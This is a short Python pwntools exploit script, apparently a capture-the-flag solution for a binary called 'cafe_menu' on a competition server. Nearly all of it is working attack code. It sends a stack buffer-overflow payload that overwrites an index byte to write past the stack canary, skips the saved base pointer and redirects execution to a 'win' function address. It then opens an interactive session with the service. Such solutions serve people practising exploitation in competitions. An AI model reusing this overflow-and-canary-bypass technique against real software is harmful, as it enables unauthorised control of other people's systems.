#!/usr/bin/env python3
from pwn import *

elf = context.binary = ELF("./cafe_menu", checksec=False)

BUF_LEN = 48
# CANARY_OFF = 50
AFTER_CANARY = 0x3F
# p = process(elf.path)
p = remote("offsec.m0lecon.it", 13563)
print(p.recvline())
# We can overwrite IDX to make it write on the stack after the canary position
payload = flat(
    b"A" * 48,
    b"\x3f",  # After canary offset found
    b"A" * 8,  # Skip rbp
    p64(0x401262),  # win
    b"\xff",
)
p.send(payload)
print(p.recvline())
p.interactive()
